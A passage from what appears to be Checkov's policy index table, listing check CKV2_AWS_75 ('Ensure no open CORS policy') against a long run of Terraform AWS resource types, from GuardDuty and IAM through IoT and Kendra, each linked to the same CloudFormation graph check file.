| aws_guardduty_invite_accepter                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  852 | CKV2_AWS_75 | resource | aws_guardduty_ipset                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  853 | CKV2_AWS_75 | resource | aws_guardduty_malware_protection_plan                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  854 | CKV2_AWS_75 | resource | aws_guardduty_member                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  855 | CKV2_AWS_75 | resource | aws_guardduty_member_detector_feature                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  856 | CKV2_AWS_75 | resource | aws_guardduty_organization_admin_account                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  857 | CKV2_AWS_75 | resource | aws_guardduty_organization_configuration                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  858 | CKV2_AWS_75 | resource | aws_guardduty_organization_configuration_feature                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  859 | CKV2_AWS_75 | resource | aws_guardduty_publishing_destination                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  860 | CKV2_AWS_75 | resource | aws_guardduty_threatintelset                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  861 | CKV2_AWS_75 | resource | aws_iam_access_key                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  862 | CKV2_AWS_75 | resource | aws_iam_account_alias                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  863 | CKV2_AWS_75 | resource | aws_iam_account_password_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  864 | CKV2_AWS_75 | resource | aws_iam_group                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  865 | CKV2_AWS_75 | resource | aws_iam_group_membership                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  866 | CKV2_AWS_75 | resource | aws_iam_group_policies_exclusive                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  867 | CKV2_AWS_75 | resource | aws_iam_group_policy                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  868 | CKV2_AWS_75 | resource | aws_iam_group_policy_attachment                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  869 | CKV2_AWS_75 | resource | aws_iam_group_policy_attachments_exclusive                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  870 | CKV2_AWS_75 | resource | aws_iam_instance_profile                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  871 | CKV2_AWS_75 | resource | aws_iam_openid_connect_provider                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  872 | CKV2_AWS_75 | resource | aws_iam_organizations_features                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  873 | CKV2_AWS_75 | resource | aws_iam_policy                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  874 | CKV2_AWS_75 | resource | aws_iam_policy_attachment                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  875 | CKV2_AWS_75 | resource | aws_iam_policy_document                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  876 | CKV2_AWS_75 | resource | aws_iam_role                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  877 | CKV2_AWS_75 | resource | aws_iam_role_policies_exclusive                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  878 | CKV2_AWS_75 | resource | aws_iam_role_policy                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  879 | CKV2_AWS_75 | resource | aws_iam_role_policy_attachment                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  880 | CKV2_AWS_75 | resource | aws_iam_role_policy_attachments_exclusive                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  881 | CKV2_AWS_75 | resource | aws_iam_saml_provider                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  882 | CKV2_AWS_75 | resource | aws_iam_security_token_service_preferences                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  883 | CKV2_AWS_75 | resource | aws_iam_server_certificate                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  884 | CKV2_AWS_75 | resource | aws_iam_service_linked_role                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  885 | CKV2_AWS_75 | resource | aws_iam_service_specific_credential                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  886 | CKV2_AWS_75 | resource | aws_iam_signing_certificate                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  887 | CKV2_AWS_75 | resource | aws_iam_user                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  888 | CKV2_AWS_75 | resource | aws_iam_user_group_membership                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  889 | CKV2_AWS_75 | resource | aws_iam_user_login_profile                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  890 | CKV2_AWS_75 | resource | aws_iam_user_policies_exclusive                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  891 | CKV2_AWS_75 | resource | aws_iam_user_policy                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  892 | CKV2_AWS_75 | resource | aws_iam_user_policy_attachment                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  893 | CKV2_AWS_75 | resource | aws_iam_user_policy_attachments_exclusive                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  894 | CKV2_AWS_75 | resource | aws_iam_user_ssh_key                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  895 | CKV2_AWS_75 | resource | aws_iam_virtual_mfa_device                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  896 | CKV2_AWS_75 | resource | aws_identitystore_group                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  897 | CKV2_AWS_75 | resource | aws_identitystore_group_membership                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  898 | CKV2_AWS_75 | resource | aws_identitystore_user                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  899 | CKV2_AWS_75 | resource | aws_imagebuilder_component                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  900 | CKV2_AWS_75 | resource | aws_imagebuilder_container_recipe                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  901 | CKV2_AWS_75 | resource | aws_imagebuilder_distribution_configuration                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  902 | CKV2_AWS_75 | resource | aws_imagebuilder_image                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  903 | CKV2_AWS_75 | resource | aws_imagebuilder_image_pipeline                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  904 | CKV2_AWS_75 | resource | aws_imagebuilder_image_recipe                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  905 | CKV2_AWS_75 | resource | aws_imagebuilder_infrastructure_configuration                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  906 | CKV2_AWS_75 | resource | aws_imagebuilder_lifecycle_policy                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  907 | CKV2_AWS_75 | resource | aws_imagebuilder_workflow                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  908 | CKV2_AWS_75 | resource | aws_inspector2_delegated_admin_account                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  909 | CKV2_AWS_75 | resource | aws_inspector2_enabler                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  910 | CKV2_AWS_75 | resource | aws_inspector2_member_association                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  911 | CKV2_AWS_75 | resource | aws_inspector2_organization_configuration                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  912 | CKV2_AWS_75 | resource | aws_inspector_assessment_target                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  913 | CKV2_AWS_75 | resource | aws_inspector_assessment_template                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  914 | CKV2_AWS_75 | resource | aws_inspector_resource_group                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  915 | CKV2_AWS_75 | resource | aws_instance                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  916 | CKV2_AWS_75 | resource | aws_internet_gateway                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  917 | CKV2_AWS_75 | resource | aws_internet_gateway_attachment                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  918 | CKV2_AWS_75 | resource | aws_internetmonitor_monitor                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  919 | CKV2_AWS_75 | resource | aws_iot_authorizer                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  920 | CKV2_AWS_75 | resource | aws_iot_billing_group                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  921 | CKV2_AWS_75 | resource | aws_iot_ca_certificate                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  922 | CKV2_AWS_75 | resource | aws_iot_certificate                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  923 | CKV2_AWS_75 | resource | aws_iot_domain_configuration                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  924 | CKV2_AWS_75 | resource | aws_iot_event_configurations                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  925 | CKV2_AWS_75 | resource | aws_iot_indexing_configuration                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  926 | CKV2_AWS_75 | resource | aws_iot_logging_options                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  927 | CKV2_AWS_75 | resource | aws_iot_policy                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  928 | CKV2_AWS_75 | resource | aws_iot_policy_attachment                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  929 | CKV2_AWS_75 | resource | aws_iot_provisioning_template                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  930 | CKV2_AWS_75 | resource | aws_iot_role_alias                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  931 | CKV2_AWS_75 | resource | aws_iot_thing                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  932 | CKV2_AWS_75 | resource | aws_iot_thing_group                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  933 | CKV2_AWS_75 | resource | aws_iot_thing_group_membership                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  934 | CKV2_AWS_75 | resource | aws_iot_thing_principal_attachment                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  935 | CKV2_AWS_75 | resource | aws_iot_thing_type                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  936 | CKV2_AWS_75 | resource | aws_iot_topic_rule                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  937 | CKV2_AWS_75 | resource | aws_iot_topic_rule_destination                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  938 | CKV2_AWS_75 | resource | aws_ivs_channel                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  939 | CKV2_AWS_75 | resource | aws_ivs_playback_key_pair                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  940 | CKV2_AWS_75 | resource | aws_ivs_recording_configuration                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  941 | CKV2_AWS_75 | resource | aws_ivschat_logging_configuration                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  942 | CKV2_AWS_75 | resource | aws_ivschat_room                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  943 | CKV2_AWS_75 | resource | aws_kendra_data_source                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  944 | CKV2_AWS_75 | resource | aws_kendra_experience                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  945 | CKV2_AWS_75 | resource | aws_kendra_faq                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  946 | CKV2_AWS_75 | resource | aws_kendra_index                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  947 | CKV2_AWS_75 | resource | aws_kendra_query_suggestions_block_list                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | 